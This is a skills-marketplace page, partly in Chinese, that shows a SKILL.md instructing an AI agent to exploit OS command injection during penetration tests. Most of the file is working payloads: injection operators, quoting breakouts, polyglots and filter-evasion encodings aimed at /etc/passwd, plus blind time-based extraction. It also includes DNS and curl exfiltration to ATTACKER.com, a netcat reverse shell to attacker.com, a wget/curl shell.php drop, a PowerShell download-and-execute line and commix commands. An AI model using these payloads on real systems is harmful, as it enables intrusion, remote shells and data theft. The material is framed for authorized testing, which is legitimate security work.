用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill command-injection命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | command-injection |
| description | Guide OS command injection exploitation during authorized penetration testing. |
| keywords | ["command injection","OS injection","RCE via shell","shell injection","system() injection","exec() injection","ping injection","backtick injection","command execution","blind command injection","argument injection","parameter injection"] |
| tools | ["burpsuite","commix","interactsh"] |
| opsec | medium |
You are helping a penetration tester exploit OS command injection. The target application passes user-controlled input to a system shell command without proper sanitization. The goal is to execute arbitrary commands on the underlying operating system. All testing is under explicit written authorization.
Not Python eval()/exec() injection. This skill covers injection into OS
shell commands (bash, cmd.exe, PowerShell) via operators like ;, |, &&,
backticks, and $(). If the injection context is a Python eval() or exec()
call — where you need to write Python expressions, not shell commands — route
to python-code-injection instead. Key indicator: shell operators (;id,
|id) don't work, but Python expressions (__import__('os').popen('id')) do.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[command-injection] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided, determine:
id and whoami)Skip if context was already provided.
Try these operators to chain a second command. Test with a known-output command
(id on Linux, whoami on Windows) or a time delay (sleep 5, ping -c 5 127.0.0.1).
| Payload | Behavior |
|---|---|
; id | Sequential execution (always runs) |
| ` | id` |
| ` | |
&& id | Runs id only if first command succeeds |
& id | Background first command, run id |
`id` | Command substitution (backticks) |
$(id) | Command substitution (modern) |
%0a id | Newline injection |
| Payload | Behavior |
|---|---|
& whoami | Run both commands |
&& whoami | Run whoami if first succeeds |
| ` | |
| ` | whoami` |
%0a whoami | Newline injection |
%1a whoami | Substitute character (sometimes works) |
If the input is placed inside quotes in the shell command:
# Inside double quotes — break out:
"; id; echo "
" | id; echo "
"$(id)"
# Inside single quotes — cannot use $() or backticks:
'; id; echo '
# Inside backticks — close and inject:
`; id; echo `
Work across multiple quoting contexts (unquoted, single-quoted, double-quoted):
# Time-based polyglot
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Comprehensive polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
# ${IFS} — most reliable
cat${IFS}/etc/passwd
ls${IFS}-la
# Brace expansion
{cat,/etc/passwd}
{ls,-la,/tmp}
# Tab character (URL-encode as %09)
;cat%09/etc/passwd
# Input redirection
cat</etc/passwd
# ANSI-C quoting
X=$'cat\x20/etc/passwd'&&$X
# Quote splitting — insert empty quotes anywhere in the command
w'h'o'am'i
w"h"o"am"i
/b'i'n/c'a't /e't'c/p'a's's'w'd
# Backslash escaping
w\ho\am\i
c\at /e\tc/p\as\sw\d
/\b\i\n/\s\h
# Empty variable expansion
who$@ami
who${x}ami
cat$u /etc$u/passwd$u
# Empty command substitution
who$()ami
who``ami
# Variable concatenation
a=who;b=ami;$a$b
a=c;b=at;c=/etc/passwd;$a$b $c
# Hex encoding
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
X=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $X
# Octal encoding
cat `printf '\57\145\164\143\57\160\141\163\163\167\144'`
# xxd for hex decoding
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
# Base64 encoding
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
# Build slash from env variable
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat ${PATH:0:1}etc${PATH:0:1}passwd
When specific commands or paths are blacklisted:
# /bin/cat /etc/passwd via wildcards
/???/??t /???/p??s??
# /bin/nc with wildcard
/???/n? -e /???/s? attacker.com 4444
# Globbing alternatives
/bi[n]/cat /etc/pa[s]swd
/bin/ca? /etc/passw?
# URL-encoded newline (most commonly missed by filters)
%0aid
%0awhoami
# CRLF
%0d%0aid
# Backslash-newline continuation (split command across lines)
cat /et\
c/pa\
sswd
# URL-encoded: cat%20/et%5C%0Ac/pa%5C%0Asswd
When command output is not reflected in the response.
# Linux
; sleep 5
| sleep 5
& sleep 5
`sleep 5`
$(sleep 5)
# Windows
& ping -n 6 127.0.0.1 &
& timeout /t 5 &
# With ${IFS} for space bypass
;sleep${IFS}5
If a 5-second delay is observed, injection is confirmed.
Extract data character by character using conditional sleeps:
# Extract first character of whoami output
if [ $(whoami | cut -c 1) == "r" ]; then sleep 5; fi
# Extract Nth character
if [ $(whoami | cut -c 2) == "o" ]; then sleep 5; fi
# Binary search for faster extraction
if [ $(cat /etc/passwd | head -1 | cut -c 1 | od -An -td1 | tr -d ' ') -gt 100 ]; then sleep 5; fi
Faster than time-based. Requires a DNS callback server (interactsh, Burp Collaborator, dnsbin.zhack.ca).
# Exfiltrate command output via DNS
$(host $(whoami).ATTACKER.com)
$(dig $(whoami).ATTACKER.com)
$(ping -c1 $(whoami).ATTACKER.com)
# Exfiltrate file listing
for i in $(ls /); do host "$i.ATTACKER.com"; done
# Exfiltrate file contents (base32 to avoid DNS char restrictions)
$(cat /etc/hostname | base32 | tr -d '=' | nslookup -.ATTACKER.com)
# curl/wget OOB
$(curl http://ATTACKER.com/$(whoami))
$(wget http://ATTACKER.com/$(id|base64) -O /dev/null)
Write output to a web-accessible file:
# Write to webroot
; id > /var/www/html/output.txt
; cat /etc/passwd > /var/www/html/out.txt
# Then retrieve via HTTP
curl http://TARGET/output.txt
When shell metacharacters (;, |, etc.) are properly escaped but the input is
used as an argument to a program. Inject flags/options instead.
# curl — write to arbitrary file
--output /tmp/shell.php -O http://attacker.com/shell.php
# wget — write to arbitrary file
-O /tmp/shell.php http://attacker.com/shell.php
# ssh — proxy command execution
-oProxyCommand="id > /tmp/proof"
# tar — checkpoint action
--checkpoint=1 --checkpoint-action=exec=id
# find — exec action (if input is used in -name or -path)
-name "x" -exec id \;
# rsync — script execution
-e 'sh -c id' .
# sendmail — write to file
-OQueueDirectory=/tmp -X/var/www/html/shell.php
Some sanitization functions (PHP escapeshellarg) can be bypassed with Unicode
fullwidth characters that get normalized by the shell:
" --use-askpass=calc " # U+FF02 instead of regular double quote
Windows commands are case-insensitive — use case randomization to bypass filters:
WhOaMi
wHoAmI
# Space from environment variable
ping%CommonProgramFiles:~10,-18%127.0.0.1
# Build commands from substrings
set a=who&set b=ami&call %a%%b%
# If input reaches PowerShell
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')
Windows cmd.exe treats ^ as an escape character:
w^h^o^a^m^i
n^e^t u^s^e^r
When you have admin/superadmin access to a web application, look for legitimate features that execute system commands — these aren't injection bugs, they're intended functionality you can abuse.
Common patterns:
Key difference from injection: You're not breaking out of a command — you're providing the entire command to a feature designed to run it. No operators or escaping needed, just a valid shell command.
Trigger mechanisms: Background daemon features (filters, notifications) may require an event to fire. Check how to create or simulate the triggering condition (create a matching record, force an alarm, trigger a threshold).
When command injection reveals credentials (.env files, config files, SSH
keys, database connection strings), do NOT attempt to use them programmatically
from the injection context:
sshpass, SSH key injection, or automated SSH from injectionInstead, immediately write a handoff script for the operator:
engagement/evidence/The operator establishes the interactive session. The orchestrator or operator decides the next skill to invoke.
ps, /proc, process monitors;, |, &&) appear in web server access logssleep) are slow but stealthy%0a (newline) injection is less commonly filtered and logged than ; or |nohup and
background with &;, |, ||, &&, &, %0a, $(...),
backticks", ')%0a — most commonly missed by filtersexecFile() in Node.js
instead of exec()) — argument injection is the only optionPriority order:
${IFS} — works in bash/sh, most reliable%09 (tab) — works in most shells{command,arg1,arg2} — brace expansion (bash only)< (input redirection) — for file reading$'\x20' — ANSI-C quotingPriority order:
c'a't, w"h"o"a"m"i"c\at, w\hoam\ia=c;b=at;$a$b/???/??t matches /bin/catecho Y2F0 | base64 -d → catecho -e "\x63\x61\x74" → cat; sleep 5 — compare response timessleep is blocked, try ping -c 5 127.0.0.1 (5-second delay)$(curl http://ATTACKER/test)$(host test.ATTACKER.com); id > /tmp/test.txt and include
via LFI# commix — automated command injection
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --batch
# commix with POST data
python commix.py -u "http://TARGET/page" --data="ip=127.0.0.1" --batch
# commix OS shell
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --os-shell
# With specific technique
python commix.py -u "http://TARGET/page?ip=127.0.0.1" -t time-based